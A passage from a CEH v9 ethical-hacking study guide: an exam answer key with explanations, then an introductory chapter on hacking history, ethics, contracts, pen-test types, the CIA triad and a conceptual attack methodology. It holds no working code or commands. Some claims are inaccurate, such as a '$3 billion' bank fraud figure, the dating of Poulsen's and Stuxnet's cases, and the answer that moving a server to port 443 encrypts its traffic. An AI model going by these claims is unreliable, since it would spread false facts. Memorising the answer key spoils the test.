16. B. A network intrusion prevention system (NIPS) is similar to an intrusion detection
system, but it adds the ability to react to attacks that it detects.
17. C. Changing the default port for web server traffic to 443 would mean that all traffic to
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and from the web server would be encrypted using SSL.
18. D. A worm propagates by seeking out vulnerabilities it was designed to exploit and
then replicating at an extreme rate.
19. A. In a case like this, an individual showing up and asking to discuss intimate details
of an environment may be attempting to obtain information for an attack.
20. C. FTP is not designed to provide encryption, and thus passwords and user IDs or
names are not protected as they are with SSH, which uses encryption.
21. A. A network intrusion detection system (NIDS) is installed at the network level and
detects attacks at that level. Unlike a network-based intrusion prevention system
(NIPS), an NIDS cannot stop an attack, but it can detect and report the attack to an
administrator so that appropriate actions can be taken.
22. B. Chain of custody is used in investigations and in the handling of evidence to ensure
that no gaps in possession occur. Such gaps, if they occurred, could invalidate a case.
23. A. Steganography is used to conceal information inside of other information, thus
making it difficult to detect.
24. E. Acceptable use policy is an administrative tool used to inform the users of various
company assets what is and isn’t considered appropriate use of assets.
25. A. RSA is an example of an asymmetric encryption protocol that uses a public and
private key. The others are examples of symmetric encryption protocols.
26. C. SHA is an example of one type of hashing algorithm that is commonly used today.
Another example would be MD5.
27. A. MD5 is a hashing algorithm that creates a fixed-length output, as do all hashing
algorithms. This fixed-length output is referred to as a hash or message digest.
28. C. Biometrics is concerned with measuring physical traits and characteristics of a
biological organism.
29. A. Media access control (MAC) is a Layer 2 construct in the OSI model. The physical
address is coded into the network adapter itself and is designed to be unique.
30. A. Computer forensics is the process of methodically collecting information relating to
a security incident or crime.
31. D. SSH is a modern protocol designed to be more secure and safer than protocols such
as FTP and Telnet. As such, the SSH protocol is replacing FTP and Telnet in many
environments.
32. A. MD5 is a hashing algorithm that creates a fixed-length output, referred to as a hash
or message digest. In the PKI world, SHA and MD5 are the most popular mechanisms
for creating thumbprints for digital certificates.
33. B. Passwords are the simplest form of authentication and are commonly used. They
fall under first-factor authentication and are referred to as something you know.
34. A. An IP address is a logical address assigned at Layer 3 and can be assigned to an IPbased system. The same IP address can be assigned to different systems, albeit at
different times, unlike MAC addresses.
35. C. An IPv6 address has 128 bits as opposed to IPv4, which has only 32 bits. This
increased number of bits allows for the generation of many more IP addresses than is
possible with IPv4.
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Chapter 1
Introduction to Ethical Hacking
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
II. Analysis/Assessment
C. Risk assessments
D. Technical assessment methods
III. Security
L. Privacy/confidentiality (with regard to engagement)
V. Procedures/Methodology
H. Security testing methodology
VII. Ethics
A. Professional code of conduct
B. Appropriateness of hacking activities
Welcome to the beginning of your journey to becoming a Certified
Ethical Hacker. In this book you will learn the tools, technologies, methods, and skills
needed to earn the EC-Council’s Certified Ethical Hacker v9 qualification. However, while
this book will give you what you need to be prepared to successfully pass the exam, it will
also strive to give you the additional knowledge and skills needed to be a successful
penetration tester.
In this book, you will learn exactly what it takes to become an ethical hacker and the
responsibilities and expectations that go with the title. You will experience the ethics and
questions that go with the technology and the practices involved in this exciting field.
Ethical hackers, or penetration testers, have been around for a long time, but because of
increases in cybercrime and regulations over the last decade, they have become more
popular than in the past. The realization is that finding weaknesses and deficiencies in
systems and addressing them proactively is less costly than dealing with the fallout that
comes after the fact. In response, organizations have sought to create their own
penetration testing teams internally as well as contract with outside experts when and if
they are needed.
In this book you will encounter the two terms penetration tester and
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ethical hacker. Although both are correct and both are used in the IT and security
industries, the former tends to be more popular than the latter. In most cases, you
will run into the term penetration tester or its associated shorthand pentester.
Taking on the skillset associated with ethical hacking will quickly and effectively put you
into the role of evaluating environments to identify, exploit, report, and recommend
corrective actions to be taken in respect to threats and vulnerabilities. Note, however, that
pentesters usually do not do corrective actions because that is something that the client
must decide to perform or not, but in some cases the client may ask you do so.
Through a robust and effective combination of technological, administrative, and physical
measures, these organizations have learned to address their given situation and head off
major problems wherever and whenever possible. Technologies such as virtual private
networks (VPNs), cryptographic protocols, intrusion detection systems (IDSs), intrusion
prevention systems (IPSs), access control lists (ACLs), biometrics, smart cards, and other
devices have helped security. Administrative countermeasures such as policies,
procedures, and other rules have also been strengthened and implemented over the past
decade. Physical measures include cable locks, device locks, alarm systems, and similar
devices. Your new role as an ethical hacker will deal with all of these items, plus many
more.
As an ethical hacker, you must know not only the environment you will be working in but
also how to find weaknesses and address them as needed. But before we get to all of that,
this chapter discusses the history of hacking and what it means to be an ethical hacker.
We’ll also look at the process of penetration testing and explore the importance of
contracts.
Hacking: the Evolution
Hacker is one of the most misunderstood and overused terms in the security industry.
Everyone from the nightly news to authors to Hollywood and the rest of the media uses
the term frequently. Thanks to overuse of the term and the fact that it is almost
constantly attached to activities that are shady or even criminal in nature, the general
public looks at anyone with the label hacker as up to no good. Hackers are viewed as
those operating in the shadows, antisocial and antiestablishment in many cases. Other
members of the public have even come to embrace hackers as the new social activists
thwarting politicians, governments, large corporations, and others. Newsworthy events by
loosely organized groups such as Anonymous and Lizard Squad have contributed to the
public perception of the hacker.
While many have taken different stances and have different opinions of
whether hackers are good or bad, this book will not seek to pass judgment either way
on many of those who engage in hacking. Groups such as Anonymous have both
their supporters and detractors, for example; in this book we will mention this group
but will use it to illustrate points, and that is all. We will leave the judgment of such
groups up to you.
So, what is a hacker exactly and how did we get to the point where we are today? We can
best address this question by looking into the past and seeing how things have evolved.
The Early Days of Hacking
The idea of hacking and hackers goes way back to the first technology enthusiasts who
wanted to learn about new technology and were curious about how it worked. They were
the same types of people who today are interested not only in acquiring all sorts of
technology but also in learning how to customize and tweak it to do new things that the
original designers never intended. In the early days (pre-1970), these hackers may have
been found taking apart and learning about the inner workings of radios and early
computers. As technology progressed, these individuals moved to more complex and
advanced systems available at the time. Fast-forward to the 1970s, and the mainframes
that were present on college campuses and corporate environments were the target of
interest by new generations of hackers. Later, in the 1980s, the PC was the newest piece
of technology, with hackers moving to this environment. In fact, the 1980s saw hackers
starting to engage in more mischievous and later malicious activities; adding to the
situation was that fact that their attacks could now be used against many more systems
because more people had access to PCs. In the 1990s, the Internet was made accessible to
the public, and systems became interconnected; as a result, curiosity and mischief could
easily spread beyond a small collection of systems and go worldwide. Since 2000,
smartphones, tablets, Bluetooth, and other technologies have been added to the devices
and technologies that hackers target. As you can see, as technology evolves, so do hackers’
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attacks in response to what’s available at the time.
When the Internet became available to the public at large, hacking and hackers weren’t
too far behind. When the first generations of browsers became available in the early
1990s, attacks grew in the form of website defacements and other types of mischief. The
first forays of hacking in cyberspace resulted in some humorous or interesting pranks,
but later more aggressive attacks started to emerge. Incidents such as the hacking of
movie and government websites were some of the first examples. Until the early 2000s,
website defacing was so common that many incidents were no longer reported.
Making things easier for hackers is the fact that early network
technologies such as the Internet were never designed with security as a goal. The
goal was the sharing of information.
Current Developments
In the early 2000s, more malicious activity started to appear in the form of more
advanced attacks. In the first few years of the new millennium, the aggressiveness of
attacks increased, with many attacks criminally motivated. Malicious attacks that have
occurred include the following (although there are many more):
Denial-of-service attacks
Manipulation of stock prices
Identity theft
Vandalism
Credit card theft
Piracy
Theft of service
Among the many situations that have contributed to the increase in hacking and
cybercrime are the amount of information being passed and the overall dependency on
the Internet and digital devices. Over the last decade, the number of financial transactions
online has increased, creating a tempting target for crooks. Also, the openness of modern
devices such as smartphones and technologies such as Bluetooth has made hacking and
stealing information more prevalent. Lastly, we can also point to the number of Internetconnected devices such as tablets and other gadgets that individuals carry around in
increasing numbers. Each of these devices has attracted the attention of criminals with
the temptation of stealing never before heard of amounts of money, data, and other
resources. As computer crime laws began to be passed, the bragging rights for hacking a
website became less attractive. Prank activity seems to have slowed down, whereas real
criminal activity has increased. With online commerce, skills started going to the highest
bidder, with crime rings, organized crime, and nations with hostile interests using the
Internet as an attack vector.
Remember that a good number of attacks that occur nowadays can be
attributed to both crime and people pulling pranks. However, no matter what the
underlying motivation of the attack, the end result is often the same: System owners
are denied use of their assets, and the law is broken.
Hacking: Fun or Criminal Activity?
As stated earlier, hacking is by no means a new phenomenon; it has existed in one form
or another since the 1960s. For only a portion of the time since then has hacking been
viewed as a crime and a situation that needs to be addressed.
Here’s a look at some famous hacks over time:
In 1988, Cornell University student Robert T. Morris, Jr., created what is considered to
be the first Internet worm. Due to an oversight in the design of the worm, it replicated
extremely quickly, indiscriminately resulting in widespread slowdowns affecting the
whole Internet.
In 1994, Kevin Lee Poulsen, going by the name Dark Dante, took over the telephone
lines of the entire Los Angeles-based radio station KIIS-FM to ensure he would be the
102nd caller in order to win a Porsche 944 S2. Poulsen has the notable distinction of
being the first to be banned from using the Internet after his release from prison
(though the ban was for only a limited time).
In 1999, David L. Smith created the Melissa virus, which was designed to email itself
to entries in a user’s address book and later delete files on the infected system.
In 2001, Jan de Wit authored the Anna Kournikova virus, which was designed to read
all the entries of a user’s Outlook address book and email itself to each.
In 2002, Gary McKinnon connected to deleted critical files on U.S. military networks,
including information on weapons and other systems. He performed this action after
compromising roughly 2000 computer systems inside the U.S. military’s network.
In 2004, Adam Botbyl, together with two friends, conspired to steal credit card
information from the Lowe’s hardware chain.
In 2005, Cameron Lacroix hacked into the phone of celebrity Paris Hilton and also
participated in an attack against the site LexisNexis, an online public record
aggregator, ultimately exposing thousands of personal records.
In 2009, Kristina Vladimirovna Svechinskaya, a young Russian hacker, got involved in
several plots to defraud some of the largest banks in the United States and Great
Britain. She used a Trojan horse to attack and open thousands of bank accounts in the
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Bank of America, through which she was able to skim around $3 billion in total. In an
interesting footnote to this story, Svechinskaya was named World’s Sexiest Hacker at
one point due to her stunning good looks. I mention this point to illustrate the fact
that the image of a hacker living in a basement, being socially awkward, or being really
nerdy looking is gone. In this case the hacker in question was not only very skilled and
dangerous but also did not fit the stereotype of what a hacker looks like.
In the mid-2000s, the Stuxnet virus was uncovered in Iran and was shown to be
specifically designed to attack the systems involved in uranium production. What
made the virus unique is the fact that it targeted only a very specific set of systems,
and anything not meeting these requirements was ignored.
Originating in 2003, the hacking group Anonymous has attacked multiple targets
including local government networks, news agencies, and others. The group is still
active and has committed several other high-profile attacks up to the current day.
The previous examples represent some of the higher-profile incidents that have occurred,
but for every news item or story that makes it into the public consciousness, many more
never do. Note that for every incident that is made public, only a small number of the
individuals who carry them out are caught, and an even smaller number are prosecuted
for cybercrime. In any case, hacking is indeed a crime, and anyone engaging in such
activities can be prosecuted under laws that vary from location to location. The volume,
frequency, and seriousness of attacks have only increased and will continue to do so as
technology evolves.
Here are some generic examples of cybercrime:
Stealing passwords and usernames, or using vulnerabilities in a system to gain access,
falls under the category of theft of access and the stealing of services and resources
that the party would not otherwise be given access to. In some cases stealing
credentials but not using them is enough to constitute a cybercrime. In a few states
even sharing usernames and passwords with a friend or family member is a crime.
Network intrusions are a form of digital trespassing where a party goes someplace that
they would not otherwise have access to. Access to any system or group of systems to
which a party would not normally be given access is considered a violation of the
network and therefore a cybercrime. In some cases the actual intrusions may not even
involve hacking tools; the very act of logging into a guest account without permission
may be sufficient to be considered an intrusion.
Social engineering is both the simplest and the most complex form of hacking or
exploiting a system by going after its weakest point, the human element. On the one
hand, this is easy to attempt because the human being is many times the most
accessible component of a system and the simplest to interact with. On the other
hand, it can be extremely difficult to read both the spoken and unspoken cues to get
information that may be useful to the attacker.
Posting and/or transmitting illegal material has gotten to be a difficult problem to
solve and deal with over the last decade. With the increased use of social media and
other Internet-related services, illegal material can spread from one corner of the
globe to another in a very short period of time.
Fraud is the deception of another party or parties to elicit information or access
typically for financial gain or to cause damage.
Software piracy is the possession, duplication, or distribution of software in violation
of a license agreement or the act of removing copy protection or other licenseenforcing mechanisms. Again this has become a massive problem with the rise of filesharing services and other mechanisms designed to ease sharing and distribution; in
many cases the systems are used for distribution without the system owner’s consent.
Dumpster diving is the oldest and simplest way to gather material that has been
discarded or left in unsecured or unguarded receptacles. Often, discarded data can be
pieced together to reconstruct sensitive information.
Malicious code refers to items such as viruses, worms, spyware, adware, rootkits, and
other types of malware. This crime covers any type of software deliberately written to
wreak havoc and destruction or disruption.
Unauthorized destruction or alteration of information includes modifying, destroying,
or tampering with information without permission.
Embezzlement is a form of financial fraud that involves theft or redirection of funds
as a result of violating a position of trust. The crime has been made much easier
through the use of modern digital means.
Data-diddling is the unauthorized modification of information to cover up activities.
Denial-of-service (DoS) and distributed denial-of-service (DDoS) attacks are ways to
overload a system’s resources so it cannot provide the required services to legitimate
users.
Ransomware is a relatively newer class of malware that is designed to hunt down and
encrypt files on a target system. Once such files are found, the code will encrypt the
data and then tell the victim that they must pay a certain amount to get their data
back.
The Evolution and Growth of Hacking
As you will see in this book, attacks and strategies have improved and evolved over the
years in ways you may not be aware of. Attackers have constantly sought to up their game
with new tactics and strategies to include various types of malware such as worms, spam,
spyware, adware, and even rootkits. Although they have long known how to harass and
irritate the public, in recent years they have caused ever bolder disruptions by preying on
our connected lifestyle.
Hackers have also started to realize that it is possible to use their skills to generate money
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in many interesting ways. For example, attackers have used techniques to redirect web
browsers to specific pages that generate revenue for themselves. Another example is a
spammer sending out thousands upon thousands of email messages that advertise a
product or service. Because sending out bulk email costs mere pennies, it takes only a
small number of purchasers to make a nice profit.
The field you are entering (or may already be working in as a security administrator or
engineer) is one that changes rapidly. In this field attacker and defender are in an ongoing
struggle to gain dominance. Because attackers have become highly flexible and adaptable,
so must you be as an ethical hacker. Your ability to think outside the box will serve you
well as you envision new strategies and potential attacks before they are used against you.
Whenever you encounter a new technology or new situation, always try to
think of different ways the situation or technology can be used. Think, for example,
how a device such as a tablet or smartphone can be used in ways different from what
the designer or architect envisioned. Also keep an eye open for weaknesses or
vulnerabilities that can be exploited. Train your mind to think outside the norm and
think like someone who is trying to cause harm or get away with something. As an
ethical hacker you will be expected to think along these lines but in a benevolent
manner.
Making your life as a security manager even harder today is that attackers have adopted a
new pack mentality that makes defensive measures and planning much harder. In the
early days the attacking person was just that—one person. Nowadays groups such as
Anonymous and LulzSec have shown us quite convincingly that attacking in numbers
makes a difference even in the cyberworld. The collective or hive-like mentality has
reaped huge benefits for attackers who are able to employ multiple methods in a short
period of time to obtain impressive results. Such groups or packs are able to enhance
their effectiveness by having a wide range of numbers, diversity, or complementary skill
sets and also by the lack of any clear leadership structures. Also adding to the concern is
that some groups can be linked to criminal or terrorist organizations.
In this book you will learn these methods and what is being used on the front lines to
perpetrate increasingly complex and devastating attacks. You must be aware of how these
attacks have evolved, how technology has played a part, and how the law is dealing with
an ever more complicated landscape.
You will also learn more about the motivations of attackers and their mind-set. This is
one of the challenges that you will have as an ethical hacker: understanding and
empathizing with your attackers. Understanding the motivations can, in some cases, yield
valuable insight into why a given attack has been committed or may be committed against
an asset. For now you should keep in mind that an attacker needs three things to carry
out a crime:
Means, or the ability to carry out their goals or aims, which in essence means that they
have the skills and abilities needed to complete the job
Motive, or the reason to be pursuing the given goal
Opportunity, or the opening or weakness needed to carry out the threat at a given time
So, What Is an Ethical Hacker?
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When you explore this book and the tools it has to offer, you are learning the skills of the
hacker. But we can’t leave it at that, because you need to be an ethical hacker, so let’s
explore what that means.
Ethical hackers are employed either through contracts or direct employment to test the
security of an organization. They use the same skills and tactics as a hacker but with
permission from the system owner to carry out their attack against the system. In
addition, ethical hackers do not reveal the weaknesses of an evaluated system to anyone
other than the system owner. Finally, ethical hackers work under contract for a company
or client, and their contracts specify what is off-limits and what they are expected to do.
Their role depends on the specific needs of a given organization. In fact, some
organizations keep teams on staff specifically to engage in ethical hacking activities.
Types of Hackers
The following are categories of hackers:
Script Kiddies These hackers have limited or no training and know how to use only
basic techniques or tools. Even then they may not understand any or all of what they
are doing.
White-Hat Hackers These hackers think like the attacking party but work for the
good guys. They are typically characterized by having a code of ethics that says
essentially they will cause no harm. This group is also known as ethical hackers or
pentesters.
Gray-Hat Hackers These hackers straddle the line between good and bad and have
decided to reform and become the good side. Once they are reformed, they still might
not be fully trusted.
Black-Hat Hackers These hackers are the bad guys who operate on the opposite
side of the law. They may or may not have an agenda. In most cases, black-hat
hacking and outright criminal activity are not far removed from each other.
Suicide Hackers These hackers try to knock out a target to prove a point. They are
not stealthy, because they are not worried about getting caught or doing prison time.
What Are Your Responsibilities?
One of the details you need to understand early and never forget is permission. As an
ethical hacker you should never target a system or network that you do not own or have
permission to test. If you do so, you are guilty of any number of crimes, which would be
detrimental not only to your career but perhaps to your freedom as well. Before you test a
target, you should have a contract in hand from the owner giving you permission to do so.
Also remember that you should test only those things you have been contracted to test. If
the customer or client decides to add or remove items from the test, the contract must be
altered to keep both parties out of legal trouble. Take special notice of the fact that ethical
hackers operate with contracts in place between themselves and the target. Operating
without permission is unethical; operating without a contract is downright stupid and
illegal.
In addition, a contract must include verbiage that deals with the issue of confidentiality
and privacy. It is possible that during a test you will encounter confidential information
or develop an intimate knowledge of your client’s network. As part of your contract you
will need to address whom you will be allowed to discuss your findings with and whom
you will not. Generally clients will want you to discuss your findings only with them and
no one else.
According to the International Council of Electronic Commerce Consultants (EC-Council)
you, as a CEH, must keep private any confidential information gained in your
professional work (in particular as it pertains to client lists and client personal
information). You cannot collect, give, sell, or transfer any personal information (such as
name, email address, Social Security number, or other unique identifier) to a third party
without your client’s prior consent. Keep this in mind since a violation of this code could
not only cause you to lose trust from a client but also land you in legal trouble.
Contracts are an important detail to get right; if you get them wrong it could
easily mean legal problems later. The problem with contracts is that most people find
the legalese nearly impossible to understand and the amount of preparation
intimidating to say the least. I strongly recommend that you consider getting a
lawyer experienced in the field to help you with contracts.
A contract is essential for another extremely important reason as well: proof.
Without a contract you have no real proof that you have permission from the system
owner to perform any tests.
Once ethical hackers have the necessary permissions and contracts in place, they can
engage in penetration testing, also known as pen testing. This is the structured and
methodical means of investigating, uncovering, attacking, and reporting on the strengths
and vulnerabilities of a target system. Under the right circumstances, pen testing can
provide a wealth of information that the owner of a system can use to plan and adjust
defenses.
Bad Guys and Good Guys, or Hackers and Ethical Hackers
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The difference between an ethical hacker and a hacker is something that can easily
get you into an argument. Just saying the word hacker in the wrong place can get you
into an hours-long conversation of the history of hacking and how hackers are all
good guys who mean nothing but the best for the world. Others will tell you that
hackers are all evil and have nothing but bad intentions. In one case I was even told
that hackers were originally model-train enthusiasts who happened to like
computers.
You must understand that for us, hackers are separated by intentions. In our
worldview hackers who intend to cause harm or who do not have permission for
their activities are considered black hats, whereas those who do have permission and
whose activities are benign are white hats. Calling one side good and the other bad
may be controversial, but in this book we will adhere to these terms:
Black Hats They do not have permission or authorization for their activities;
typically their actions fall outside the law.
White Hats They have permission to perform their tasks. White hats never share
information about a client with anyone other than that client.
Gray Hats These hackers cross into both offensive and defensive actions at different
times.
Another type of hacker is the hacktivist. Hacktivism is any action that an attacker
uses to push or promote a political agenda. Targets of hacktivists have included
government agencies and large corporations.
Code of Conduct and Ethics
As an ethical hacker you will need to make sure that you adhere to a code of conduct or
ethics to ensure you remain trustworthy (and employed). In the case of the EC-Council’s
CEH credential you are expected to adhere to their Code of Ethics in your dealings lest
you be decertified.
In order to make sure you fully understand what you will be expected to abide by when
you become a CEH, I have provided the official EC-Council Code of Ethics here (with
slight rewording for clarity). Read it and know it to make sure you are comfortable with
everything expected of you as a CEH.
Keep private and confidential information gained in your professional work (in
particular as it pertains to client lists and client personal information). Not collect,
give, sell, or transfer any personal information (such as name, email address, Social
Security number, or other unique identifier) to a third party without client prior
consent.
Protect the intellectual property of others by relying on your own innovation and
efforts, thus ensuring that all benefits vest with its originator.
Disclose to appropriate persons or authorities potential dangers to any e-commerce
clients, the Internet community, or the public that you reasonably believe to be
associated with a particular set or type of electronic transactions or related software or
hardware.
Provide service in your areas of competence, being honest and forthright about any
limitations of your experience and education. Ensure that you are qualified for any
project on which you work or propose to work by an appropriate combination of
education, training, and experience.
Never knowingly use software or a process that is obtained or retained either illegally
or unethically.
Not engage in deceptive financial practices such as bribery, double billing, or other
improper financial practices.
Use the property of a client or employer only in ways properly authorized and with the
owner’s knowledge and consent.
Disclose to all concerned parties those conflicts of interest that cannot reasonably be
avoided or escaped.
Ensure good management for any project you lead, including effective procedures for
promotion of quality and full disclosure of risk.
Add to the knowledge of the e-commerce profession by constant study, share the
lessons of your experience with fellow EC-Council members, and promote public
awareness of benefits of electronic commerce.
Conduct yourself in the most ethical and competent manner when soliciting
professional service or seeking employment, thus meriting confidence in your
knowledge and integrity.
Ensure ethical conduct and professional care at all times on all professional
assignments without prejudice.
Not associate with malicious hackers nor engage in any malicious activities.
Not purposefully compromise or cause to be compromised the client organization’s
systems in the course of your professional dealings.
Ensure all penetration testing activities are authorized and within legal limits.
Not take part in any black-hat activity or be associated with any black-hat community
that serves to endanger networks.
Not be part of any underground hacking community for purposes of preaching and
expanding black-hat activities.
Not make inappropriate reference to the certification or misleading use of certificates,
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marks, or logos in publications, catalogues, documents, or speeches.
Not be in violation of any law of the land or have any previous conviction.
Ethical Hacking and Penetration Testing
Ethical hackers engage in sanctioned hacking—that is, hacking with permission from the
system’s owner. In the world of ethical hacking, most tend to use the term pentester,
which is short for penetration tester. Pentesters do simply that: penetrate systems like a
hacker but for benign purposes.
As an ethical hacker and future test candidate, you must become familiar with the lingo of
the trade. Here are some of the terms you will encounter in pen testing:
Hack Value This term describes a target that may attract an above-average level of
attention from an attacker. Presumably because this target is attractive, it has more value
to an attacker because of what it may contain.
Target of Evaluation A target of evaluation (TOE) is a system or resource that is being
evaluated for vulnerabilities. A TOE would be specified in a contract with the client.
Attack This is the act of targeting and actively engaging a TOE.
Exploit This is a clearly defined way to breach the security of a system.
Zero Day This describes a threat or vulnerability that is unknown to developers and has
not been addressed. It is considered a serious problem in many cases.
Security This is a state of well-being in an environment where only actions that are
defined are allowed.
Threat This is considered to be a potential violation of security.
Vulnerability This is a weakness in a system that can be attacked and used as an entry
point into an environment.
Daisy Chaining This is the act of performing several hacking attacks in sequence with
each building on or acting on the results of the previous action.
As an ethical hacker, you will be expected to take on the role and use the mind-set and
skills of an attacker to simulate a malicious attack. The idea is that ethical hackers
understand both sides, the good and the bad, and use this knowledge to help their clients.
By understanding both sides of the equation, you will be better prepared to defend
yourself successfully. Here are some things to remember about being an ethical hacker:
You must have explicit permission in writing from the company being tested prior to
starting any activity. Legally, the person or persons who must approve this activity or
changes to the plan must be the owner of the company or their authorized
representative. If the scope changes, you must update the contract to reflect those
changes before performing the new tasks.
You will use the same tactics and strategies as malicious attackers.
You have the potential to cause the same harm that a malicious attack will cause and
should always consider the effects of every action you carry out.
You must have knowledge of the target and the weaknesses it possesses.
You must have clearly defined rules of engagement prior to beginning your assigned
job.
You must never reveal any information pertaining to a client to anyone but the client.
If the client asks you to stop a test, do so immediately.
You must provide a report of your results and, if asked, a brief on any deficiencies
found during a test.
You may be asked to work with the client to fix any problems that you find. As I will
discuss several times in this text, never accept a verbal agreement to expand test
parameters. A verbal agreement has no record, and there is a chance of getting sued if
something goes wrong and there’s no record.
Under the right circumstances and with proper planning and goals in mind, you can
provide a wealth of valuable information to your target organization. Working with your
client, you should analyze your results thoroughly and determine which areas need
attention and which need none at all. Your client will determine the perfect balance of
security versus convenience. If the problems you uncover necessitate action, the next
challenge is to ensure that existing usability is not adversely affected if security controls
are modified or if new ones are put in place. Security and convenience often conflict: The
more secure a system becomes, the less convenient it tends to be. Figure 1.1 illustrates
this point.
Figure 1.1 Security versus convenience analysis
Although ethical hacking sometimes occurs without a formal set of rules of engagement,
pen testing does require rules to be agreed on in advance in every case. If you choose to
perform a pen test without having certain parameters determined ahead of time, it may
be the end of your career if something profoundly bad occurs. For example, not having
the rules established before engaging in a test could result in criminal or civil charges,
depending on the injured party and the attack involved. It is also entirely possible that
without clearly defined rules, an attack may result in shutting down systems or services
and stopping the functioning of a company completely, which again could result in huge
legal and other issues for you.
When a pen test is performed it typically takes one of three forms: white box, gray box, or
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black box. The three forms of testing are important to differentiate because you may be
asked to perform any one of them at some point during your career, so let’s take a
moment to describe each:
Black Box A type of testing in which the pentester has little or no knowledge of the
target. This situation is designed to closely emulate the situation an actual attacker would
encounter because they would presumably have an extremely low level of knowledge of
the target going in.
Gray Box A form of testing where the knowledge given to the testing party is limited. In
this type of test, the tester acquires knowledge such as IP addresses, operating systems,
and the network environment, but that information is limited. This type of test would
closely emulate the type of knowledge that someone on the inside might have; such a
person would have some knowledge of a target but not always all of it.
White Box A form of testing in which the information given to the tester is complete.
This means that the pentester is given all information about the target system. This type
of test is typically done internally or by teams that perform internal audits of systems.
Another way to look at the different types of testing and how they stack up is shown in
Table 1.1.
Table 1.1 Available types of pen tests
Type
Knowledge
White box Full
Gray box Limited
Black box None
Do not forget the terms black box, white box, and gray box because you will
be seeing them again both in this book and in the field. As you can see, the terms are
not that difficult to understand, but you still should make an effort to commit them
to memory.
In many cases, you will be performing what is known as an IT audit. This process is used
to evaluate and confirm that the controls that protect an organization work as advertised.
An IT audit is usually conducted against some standard or checklist that covers security
protocols, software development, administrative policies, and IT governance. However,
passing an IT audit does not mean that the system is completely secure; the criteria for
passing an audit may be out of date compared with what is currently happening in the
industry.
An ethical hacker tries to preserve what is known as the CIA triad: confidentiality,
integrity, and availability. The following list describes these core concepts. Keep these
concepts in mind when performing the tasks and responsibilities of a pentester:
Confidentiality The core principle that refers to the safeguarding of information and
keeping it away from those not authorized to possess it. Examples of controls that
preserve confidentiality are permissions and encryption.
Integrity Deals with keeping information in a format that is true and correct to its
original purposes, meaning that the data that the receiver accesses is the data the creator
intended them to have.
Availability The final and possibly one of the most important items that you can
perform, availability deals with keeping information and resources available to those who
need to use it. Information or resources, no matter how safe and sound, are useful only if
they are available when called upon.
CIA is possibly the most important set of goals to preserve when you are
assessing and planning security for a system. An aggressor will attempt to break or
disrupt these goals when targeting a system. As an ethical hacker your job is to find,
assess, and remedy these issues whenever they are discovered to prevent an
aggressor from doing harm.
Another way of looking at this balance is to observe the other side of the triad and how
the balance is lost. Any of the following break the CIA triad:
Disclosure is the inadvertent, accidental, or malicious revealing or allowing access of
information or resources to an outside party. If you are not authorized to have access
to an object, you should never have access to it.
Alteration is the counter to integrity; it deals with the unauthorized modification of
information. This modification can be caused by corruption, accidental access that
leads to modification, or modifications that are malicious in nature.
Disruption (also known as loss) means that authorized access to information or
resources has been lost. Information is useless if it is not there when it is needed.
Although information or other resources can never be 100 percent available, some
organizations spend the time and money to ensure 99.999 percent uptime for critical
systems, which averages about six minutes of downtime per year.
Think of these last three points as the anti-CIA triad or the inverse of the
CIA triad. The CIA triad deals with preserving information and resources, whereas
the anti-CIA triad deals with violating those points. You can also think of the antiCIA triad as dealing with the aggressor’s perspective rather than the defender’s.
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all
times and threats are dealt with in the most appropriate manner available (as required by
the organization’s own goals, legal requirements, and other needs). For example, consider
what could happen if an investment firm or defense contractor suffered a disclosure
incident at the hands of a malicious party. The results would be catastrophic with lawsuits
from customers and investigation by law enforcement if that information was personal in
nature (such as health or financial).
It is also important to consider two supporting elements to the CIA triad, which are nonrepudiation and authentication.
Non-repudiation Non-repudiation is the concept that once an action is carried out by a
party it cannot be denied by that party. For example, by using techniques such as digital
signatures it is possible to definitively say who sent a message without any possibility of
denial that they were the originator of the message.
Authenticity Authenticity is the ability to state that an object such as a piece of data or
message came from a legitimate and identifiable source. This is an important property for
an item to have because it states that the source of an action is valid and known. Because
the sender has signed their digital signature with their private key, the subsequent
verification of the signature using their public key proves the sender’s identity and thus
authenticates the sender and the origin of the message.
In this book you will encounter legal issues several times. You are
responsible for checking the details of what laws apply to you, and you will need to
get a lawyer to do that. You should be conscious of the law at all times and recognize
when you may be crossing into a legal area that you need advice on.
Hacking Methodologies
A hacking methodology refers to the step-by-step approach used by an aggressor to attack
a target such as a computer network. There is no specific step-by-step approach used by
all hackers. As can be expected when a group operates outside the rules as hackers do,
rules do not apply the same way. A major difference between a hacker and an ethical
hacker is the code of ethics to which each subscribes.
The following steps, illustrated in Figure 1.2, typically make up the hacking process:
Footprinting means that you are using primarily passive methods of gaining
information from a target prior to performing the later active methods. Typically, you
keep interaction with your target to a minimum to avoid detection, thus alerting the
target that something is coming in their direction. A myriad of methods are available
to perform this task, such as Whois queries, Google searches, job board searches, and
discussion groups. We will examine this topic in Chapter 4, “Footprinting.”
Scanning is the phase in which you take the information gleaned from the
footprinting phase and use it to target your attack much more precisely (see Chapter 5,
“Scanning”). The idea here is to act on the information from the prior phase, not to
blunder around without purpose and set off alarms. Scanning means performing tasks
like ping sweeps, port scans, and observations of facilities. One of the tools you will
use is Nmap, which is very useful for this purpose.
Enumeration is the next phase (see Chapter 6, “Enumeration”), where you extract
much more detailed information about what you uncovered in the scanning phase to
determine its usefulness. Think of the information gathered in the previous phase as
walking down a hallway and rattling the doorknobs, taking note of which ones turn
and which ones do not. Just because a door is unlocked doesn’t mean anything of use
is behind it. In this phase you are looking behind the door to see if there is anything of
value behind it. Results of this step can include a list of usernames, groups,
applications, banner settings, and auditing information.
System hacking (Chapter 7, “System Hacking”) follows enumeration. You can now
plan and execute an attack based on the information you uncovered. You could, for
example, start choosing user accounts to attack based on the ones uncovered in the
enumeration phase. You could also start crafting an attack based on service
information uncovered by retrieving banners from applications or services.
Escalation of privilege is the hacking phase, where you can start to obtain privileges
that are granted to higher privileged accounts than you broke into originally.
Depending on your skills, it might be possible to move from a low-level account such
as a guest account all the way up to administrator or system-level access.
Covering tracks is the phase when you attempt to remove evidence of your presence
in a system. You purge log files and destroy other evidence that might give away the
valuable clues needed for the system owner to determine an attack occurred. Think of
it this way: If someone were to pick a lock to get into your house versus throwing a
brick through the window, the clues are much less obvious in the former than the
latter. In the latter case you would look for what the visitor took immediately, and in
the former case you might notice the break-in much later, after the trail had gone cold.
Planting of backdoors means to leave something behind that would enable you to
come back later if you wanted. Items such as special accounts or Trojan horses come
to mind.
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Figure 1.2 The hacking process
Both ethical hackers and hackers follow similar processes as the one
outlined here though in less or stricter ways. Hackers are able to write their own
rules and use the process however they want without concern or reasons except
those that make sense to themselves. Ethical hackers follow the same type of process
as seen here with little modification, but they have added something that hackers do
